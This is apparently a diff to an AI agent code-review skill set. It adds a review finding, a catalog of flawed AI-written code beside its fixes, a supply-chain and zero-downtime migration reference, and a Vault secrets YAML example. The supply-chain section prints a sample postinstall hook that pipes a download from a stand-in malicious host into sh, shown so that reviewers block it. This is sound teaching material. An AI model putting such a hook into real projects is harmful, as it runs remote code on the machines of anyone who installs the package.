+ "finding_id": "F-02",
128
+ "file": "package.json",
129
+ "line": 28,
130
+ "severity": "blocking",
131
+ "domain": "security",
132
+ "description": "Unvetted third-party package 'telemetry-collect' added with loose carat pin.",
133
+ "suggestion": "Remove dependency and require Security Lead approval for new packages.",
134
+ "confidence": "confirmed"
135
+ },
136
+ {
137
+ "finding_id": "F-03",
138
+ "file": "src/services/user-sync.ts",
139
+ "line": 33,
140
+ "severity": "blocking",
141
+ "domain": "reliability",
142
+ "description": "Silent error swallowing masks database write failures and returns null.",
143
+ "suggestion": "Remove empty catch; map to RFC 9457 structured error with trace_id.",
144
+ "confidence": "confirmed"
145
+ }
146
+ ],
147
+ "review_matrix": {
148
+ "correctness": "fail",
149
+ "security": "fail",
150
+ "data_safety": "fail",
151
+ "reliability": "fail",
152
+ "compatibility": "pass",
153
+ "maintainability": "fail",
154
+ "tests": "fail",
155
+ "observability": "fail"
156
+ },
157
+ "blast_radius_assessment": {
158
+ "shared_code_paths_checked": true,
159
+ "downstream_consumers_checked": true,
160
+ "adjacent_flows_checked": true,
161
+ "notes": "User sync affects CRM synchronization and billing notifications downstream."
162
+ },
163
+ "merge_recommendation": "request_changes",
164
+ "residual_risk": "High data corruption risk due to unvalidated input and silent database error suppression.",
165
+ "ai_code_intent_check": true
166
+ }
167
+ ```
@@ -0,0 +1,220 @@
1
+ # Worked Example: AI "Vibe Slop" Remediation Catalog
2
+
3
+ This catalog documents five canonical before-and-after remediations for insidious AI defect patterns ("vibe slop"), demonstrating how to replace cosmetic correctness with genuine software resilience.
4
+
5
+ ---
6
+
7
+ ## 1. Pattern 1: Phantom Validation vs. Verified Boundary Check
8
+
9
+ ### Before (AI Vibe Slop)
10
+ Code appears to validate input, but the result is discarded, or regex evaluates truthy unconditionally:
11
+
12
+ ```typescript
13
+ export async function registerAccount(req: Request, res: Response) {
14
+ const { email, age } = req.body;
15
+
16
+ // Phantom check: regex evaluated, return value discarded
17
+ /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
18
+
19
+ // Faulty check: age string evaluates truthy regardless of number
20
+ if (age && age > 18) {
21
+ console.log("Adult verified");
22
+ }
23
+
24
+ await db.users.create({ email, age });
25
+ res.status(201).json({ status: "created" });
26
+ }
27
+ ```
28
+
29
+ ### After (Genuine Boundary Verification)
30
+ Strict early-exit schema parsing before any business logic:
31
+
32
+ ```typescript
33
+ import { z } from "zod";
34
+
35
+ const RegistrationSchema = z.object({
36
+ email: z.string().email("Invalid email format"),
37
+ age: z.number().int().min(18, "Registrant must be at least 18 years of age")
38
+ }).strict();
39
+
40
+ export async function registerAccount(req: Request, res: Response, next: NextFunction) {
41
+ const parseResult = RegistrationSchema.safeParse(req.body);
42
+ if (!parseResult.success) {
43
+ return next(new ValidationError("Registration failed boundary check", parseResult.error.issues));
44
+ }
45
+
46
+ const { email, age } = parseResult.data;
47
+ const user = await db.users.create({ email, age });
48
+ return res.status(201).json({ id: user.id, email: user.email });
49
+ }
50
+ ```
51
+
52
+ ---
53
+
54
+ ## 2. Pattern 2: Silent Error Swallowing vs. RFC 9457 Structured Details
55
+
56
+ ### Before (AI Vibe Slop)
57
+ Indiscriminate catch block hides database corruption, network timeouts, or schema mismatches:
58
+
59
+ ```typescript
60
+ export async function getBillingProfile(userId: string) {
61
+ try {
62
+ const profile = await stripeClient.customers.retrieve(userId);
63
+ return profile;
64
+ } catch (error) {
65
+ // Slop: Swallows 401 Unauthorized, 404 Not Found, and 500 Network errors alike
66
+ return null;
67
+ }
68
+ }
69
+ ```
70
+
71
+ ### After (Explicit Error Domain Mapping)
72
+ Granular error handling mapping downstream status to RFC 9457 Problem Details:
73
+
74
+ ```typescript
75
+ export async function getBillingProfile(userId: string, traceId: string) {
76
+ try {
77
+ return await stripeClient.customers.retrieve(userId);
78
+ } catch (error: any) {
79
+ if (error.statusCode === 404) {
80
+ throw new ProblemDetailsError(
81
+ 404,
82
+ "Customer Not Found",
83
+ `No billing profile exists for customer ID '${userId}'.`,
84
+ "https://api.example.com/errors/customer-not-found"
85
+ );
86
+ }
87
+
88
+ logger.error("Downstream Stripe retrieval failed", { traceId, error, userId });
89
+ throw new ProblemDetailsError(
90
+ 502,
91
+ "Bad Gateway",
92
+ "Billing provider temporarily unavailable. Please retry shortly.",
93
+ "https://api.example.com/errors/billing-gateway-error"
94
+ );
95
+ }
96
+ }
97
+ ```
98
+
99
+ ---
100
+
101
+ ## 3. Pattern 3: Mock Collusion vs. Contract-Driven Verification
102
+
103
+ ### Before (AI Vibe Slop)
104
+ The test mocks both the dependency and the internal helper, tautologically asserting that the mock returned what was passed into it without testing real code logic:
105
+
106
+ ```typescript
107
+ test("creates order successfully", async () => {
108
+ const mockOrderService = {
109
+ create: jest.fn().mockResolvedValue({ id: "ord_1", status: "PENDING" })
110
+ };
111
+
112
+ // Test does not exercise controller validation or serialization
113
+ const res = await mockOrderService.create({ total: 100 });
114
+ expect(res.id).toBe("ord_1");
115
+ expect(mockOrderService.create).toHaveBeenCalledWith({ total: 100 });
116
+ });
117
+ ```
118
+
119
+ ### After (Contract-Driven Anti-Tautological Test)
120
+ Tests the real HTTP handler using actual validation parsers with downstream calls intercepted at the network layer via MSW v2:
121
+
122
+ ```typescript
123
+ test("rejects order when total is below minimum merchant threshold", async () => {
124
+ const app = createTestApp(); // Real Express app with real Zod middlewares
125
+
126
+ const response = await request(app)
127
+ .post("/v1/orders")
128
+ .send({
129
+ customerId: "a3b4c5d6-e7f8-4a9b-0c1d-2e3f4a5b6c7d",
130
+ items: [{ productId: "p_1", quantity: 1, priceCents: 20 }] // Total 20 cents < min 100
131
+ });
132
+
133
+ expect(response.status).toBe(400);
134
+ expect(response.body.title).toBe("Validation Failed");
135
+ expect(response.body.invalid_params[0].reason).toContain("Minimum order total is 100 cents");
136
+ });
137
+ ```
138
+
139
+ ---
140
+
141
+ ## 4. Pattern 4: Goroutine Leak vs. Managed Worker Pool with Context
142
+
143
+ ### Before (AI Vibe Slop in Go)
144
+ Spawning unmanaged goroutines without cancellation listeners or termination channels:
145
+
146
+ ```go
147
+ func (s *EventService) ProcessBatch(events []Event) {
148
+ for _, ev := range events {
149
+ // Slop: unmanaged goroutine; if processing blocks, leaks memory indefinitely
150
+ go func(e Event) {
151
+ s.externalClient.Send(e)
152
+ }(ev)
153
+ }
154
+ }
155
+ ```
156
+
157
+ ### After (Managed Worker Pool with `errgroup.Group`)
158
+ Bounded concurrency respecting context cancellation and propagating errors:
159
+
160
+ ```go
161
+ func (s *EventService) ProcessBatch(ctx context.Context, events []Event) error {
162
+ g, ctx := errgroup.WithContext(ctx)
163
+ g.SetLimit(10) // Bound concurrency to 10 parallel workers
164
+
165
+ for _, ev := range events {
166
+ event := ev
167
+ g.Go(func() error {
168
+ // Respect context cancellation before starting work
169
+ if err := ctx.Err(); err != nil {
170
+ return err
171
+ }
172
+ return s.externalClient.SendWithContext(ctx, event)
173
+ })
174
+ }
175
+
176
+ // Await completion or first cancellation
177
+ return g.Wait()
178
+ }
179
+ ```
180
+
181
+ ---
182
+
183
+ ## 5. Pattern 5: Destructive Column Drop vs. 3-Phase Expand/Contract
184
+
185
+ ### Before (AI Vibe Slop Migration)
186
+ Single-step destructive schema migration executed while old application pods are running:
187
+
188
+ ```sql
189
+ -- migration_004_rename_column.sql
190
+ ALTER TABLE accounts DROP COLUMN routing_code;
191
+ ALTER TABLE accounts ADD COLUMN iban VARCHAR(34) NOT NULL;
192
+ ```
193
+ *Result*: Live application pods running version N fail immediately on incoming requests because `routing_code` is missing and `iban` has no default.
194
+
195
+ ### After (3-Phase Expand / Contract Migration)
196
+
197
+ **Step 1: Expand (Deployable with App v1)**
198
+ ```sql
199
+ -- Phase 1 Migration: Add nullable new column
200
+ ALTER TABLE accounts ADD COLUMN iban VARCHAR(34) DEFAULT NULL;
201
+ CREATE INDEX CONCURRENTLY idx_accounts_iban ON accounts(iban);
202
+ ```
203
+
204
+ **Step 2: Dual-Write & Async Backfill (Deploy App v2)**
205
+ App v2 writes to both `routing_code` and `iban`. Background worker backfills historical records:
206
+ ```sql
207
+ -- Keyset-paginated backfill
208
+ UPDATE accounts
209
+ SET iban = generate_iban_from_routing(routing_code, account_number)
210
+ WHERE id > :cursor AND iban IS NULL
211
+ ORDER BY id ASC
212
+ LIMIT 500;
213
+ ```
214
+
215
+ **Step 3: Contract (Deploy App v3, then run cleanup)**
216
+ App v3 reads and writes exclusively to `iban`. Run final migration:
217
+ ```sql
218
+ -- Phase 3 Migration: Drop deprecated column
219
+ ALTER TABLE accounts DROP COLUMN routing_code;
220
+ ```
@@ -0,0 +1,103 @@
1
+ # Supply Chain & Database Migration Safety — Reference
2
+
3
+ This reference documents 2027 Adversarial Code Review standards for third-party supply chain verification (OWASP ASI04 / ASI05) and zero-downtime database migration safety (Expand / Contract pattern).
4
+
5
+ ---
6
+
7
+ ## 1. Supply Chain Security Audit (OWASP ASI04 / ASI05)
8
+
9
+ Autonomous AI agents and automated PRs frequently introduce or update dependencies without human scrutiny, creating critical vectors for dependency confusion, typosquatting, and malicious lifecycle hooks.
10
+
11
+ ### 1.1 Typosquatting & Package Name Verification
12
+ - **Orthographic & Phonetic Similarity**: Audit package additions for subtle edits mimicking trusted packages (e.g. `crossenv` vs `cross-env`, `loadash` vs `lodash`, `colorama-v2` vs `colorama`).
13
+ - **Namespace Hijacking**: Reject packages published under unclaimed or deceptive scopes (e.g. `@org-internal/pkg` vs `@org_internal/pkg`).
14
+ - **Package Age & Reputation**: Review package publish timestamp and weekly downloads. New packages published within days or with <1,000 weekly downloads must be escalated to the Security Lead.
15
+
16
+ ### 1.2 Lockfile & Version Pinning Rules
17
+ - **Explicit Immutability**: All dependencies in production manifests (`package.json`, `pyproject.toml`, `Cargo.toml`, `go.mod`) must use exact version pins. Reject wildcards (`*`), loose carats (`^`), or unbounded tildes (`~`) in locked environments.
18
+ - **Lockfile Atomicity**: Never accept a diff modifying `package.json` without an accompanying, synchronized update to `package-lock.json`.
19
+ - **Integrity Checksums**: Verify that `integrity` hashes in lockfiles use SHA-512 (`sha512-...`) rather than deprecated SHA-1 or MD5.
20
+
21
+ ### 1.3 Install Hook & Lifecycle Script Audit
22
+ Reviewers must inspect `package.json` for embedded lifecycle scripts:
23
+ ```json
24
+ {
25
+ "scripts": {
26
+ "postinstall": "curl -sSL https://malicious-telemetry.com/collect | sh",
27
+ "preinstall": "node ./scripts/telemetry.js"
28
+ }
29
+ }
30
+ ```
31
+ - **Rule**: Block any pull request where a third-party dependency executes arbitrary shell scripts or spawns network requests during installation (`npm install --ignore-scripts` enforcement).
32
+
33
+ ---
34
+
35
+ ## 2. Zero-Downtime Database Migration Safety (Expand / Contract)
36
+
37
+ In a continuous deployment environment where multiple versions of application code run concurrently (canary releases, rolling updates), schema changes must **never** break running instances.
38
+
39
+ ### 2.1 The Destructive Single-Step Anti-Pattern
40
+ Applying a schema migration that renames or drops a column in a single step causes immediate production outages:
41
+ ```sql
42
+ -- ANTI-PATTERN: Will cause 500 errors on all currently running app pods
43
+ ALTER TABLE users RENAME COLUMN phone TO mobile_number;
44
+ ALTER TABLE users DROP COLUMN legacy_status;
45
+ ```
46
+ Running application pods expecting `phone` will instantly fail upon encountering the altered schema.
47
+
48
+ ---
49
+
50
+ ## 3. The 3-Phase Expand / Contract Lifecycle
51
+
52
+ ```
53
+ Phase 1: EXPAND
54
+ ┌────────────────────────────────┐
55
+ │ Add new column as NULLABLE │
56
+ │ Deploy App v1: Dual-Write both │
57
+ └──────────────┬─────────────────┘
58
+ │
59
+ Phase 2: BACKFILL & SWITCH
60
+ ┌──────────────▼─────────────────┐
61
+ │ Async batch backfill old -> new│
62
+ │ Deploy App v2: Read from new │
63
+ └──────────────┬─────────────────┘
64
+ │
65
+ Phase 3: CONTRACT
66
+ ┌──────────────▼─────────────────┐
67
+ │ Deprecate old column │
68
+ │ Deploy App v3: Remove old code │
69
+ │ Migration: DROP old column │
70
+ └────────────────────────────────┘
71
+ ```
72
+
73
+ ### 3.1 Phase 1 — Expand (Additive Schema Migration)
74
+ 1. Add the new column as `NULLABLE` (or with a safe default that does not require a table rewrite lock):
75
+ ```sql
76
+ ALTER TABLE users ADD COLUMN mobile_number VARCHAR(32) DEFAULT NULL;
77
+ ```
78
+ 2. Deploy application code that **writes to both** `phone` and `mobile_number`, but continues reading from `phone`.
79
+
80
+ ### 3.2 Phase 2 — Backfill & Read Switch
81
+ 1. Execute an asynchronous, rate-limited backfill job using keyset pagination:
82
+ ```sql
83
+ UPDATE users
84
+ SET mobile_number = phone
85
+ WHERE id > :last_seen_id AND mobile_number IS NULL
86
+ ORDER BY id ASC
87
+ LIMIT 1000;
88
+ ```
89
+ 2. Verify backfill completion and zero data drift.
90
+ 3. Deploy application code that reads from `mobile_number` and dual-writes to both columns.
91
+
92
+ ### 3.3 Phase 3 — Contract (Cleanup)
93
+ 1. Deploy application code that removes all references to the legacy `phone` column (stop writing).
94
+ 2. Execute the final cleanup migration:
95
+ ```sql
96
+ ALTER TABLE users DROP COLUMN phone;
97
+ ```
98
+
99
+ ### 3.4 Migration Review Checklist
100
+ - [ ] Are new columns added as nullable or with default values that do not lock the table?
101
+ - [ ] Are index creations performed concurrently (`CREATE INDEX CONCURRENTLY`) to prevent blocking table writes?
102
+ - [ ] Does the migration avoid foreign key constraint validation locks on multi-million row tables?
103
+ - [ ] Is there an explicit rollback plan for every phase?
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: review-service
3
- description: Review an entire service for release readiness. Use for full-service audits, production-readiness checks, pre-release hardening, and broad reviews that should cover code, contracts, dependencies, rollout safety, and documentation.
3
+ description: Review an entire service for release readiness, evaluating code, contracts, data migrations, dependencies, operational exposure, SLO budgets, and rollout safety. Use when conducting full-service audits, production-readiness reviews, pre-release hardening, or broad release verification.
4
4
  allowed-tools: [read_file, write_file, edit_file, create_file, search_code, run_tests, run_linter, run_build, execute_command]
5
5
  ---
6
6
 
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: database-maintenance
3
- description: Plan and execute operational data store and modern lakehouse maintenance, including Apache Iceberg/Delta 256MB bin-pack compaction merging Deletion Vectors, manifest rewriting, 7-day/50-snapshot expiration, 72h orphan vacuuming, and FinOps cost attribution. Use for cleanup, compaction, repair, and operational performance tasks.
3
+ description: Plan and execute operational data store and modern lakehouse maintenance, including Apache Iceberg/Delta 256MB bin-pack compaction merging Deletion Vectors, manifest rewriting, snapshot expiration, 72h orphan vacuuming, and FinOps cost attribution. Use when performing cleanup, compaction, repair, index reindexing, or operational performance tuning.
4
4
  version: 1.0.0
5
5
  allowed-tools: [read_file, write_file, edit_file, create_file, search_code, query_db, read_database, run_tests]
6
6
  ---
@@ -138,3 +138,5 @@ Confirm without exposing values:
138
138
  - **debug-runtime-platform**: Diagnose secret injection or permission issues
139
139
  - **review-service**: Check release readiness for secret changes
140
140
  - **commit-code**: Prepare safe, non-sensitive changes for delivery
141
+ - Companion reference: `references/zero-trust-secret-rotation-and-eso.md`
142
+ - Companion example: `examples/external-secrets-vault-crds.yaml`
@@ -0,0 +1,53 @@
1
+ apiVersion: external-secrets.io/v1beta1
2
+ kind: SecretStore
3
+ metadata:
4
+ name: vault-backend-store
5
+ namespace: production
6
+ spec:
7
+ provider:
8
+ vault:
9
+ server: "https://vault.internal.corp:8200"
10
+ path: "secret"
11
+ version: "v2"
12
+ auth:
13
+ kubernetes:
14
+ mountPath: "kubernetes"
15
+ role: "order-service-role"
16
+ serviceAccountRef:
17
+ name: order-service-sa
18
+ ---
19
+ apiVersion: external-secrets.io/v1beta1
20
+ kind: ExternalSecret
21
+ metadata:
22
+ name: order-service-db-credentials
23
+ namespace: production
24
+ spec:
25
+ refreshInterval: "1h"
26
+ secretStoreRef:
27
+ name: vault-backend-store
28
+ kind: SecretStore
29
+ target:
30
+ name: order-service-db-secret
31
+ creationPolicy: Owner
32
+ template:
33
+ type: Opaque
34
+ metadata:
35
+ labels:
36
+ app.kubernetes.io/managed-by: external-secrets
37
+ app.kubernetes.io/part-of: order-processing
38
+ data:
39
+ DATABASE_URL: "postgresql://{{ .username }}:{{ .password }}@postgres-rw.internal:5432/orders?sslmode=verify-full"
40
+ API_SECRET_TOKEN: "{{ .api_token }}"
41
+ data:
42
+ - secretKey: username
43
+ remoteRef:
44
+ key: database/production/orders
45
+ property: username
46
+ - secretKey: password
47
+ remoteRef:
48
+ key: database/production/orders
49
+ property: password
50
+ - secretKey: api_token
51
+ remoteRef:
52
+ key: api/keys/stripe
53
+ property: webhook_signing_secret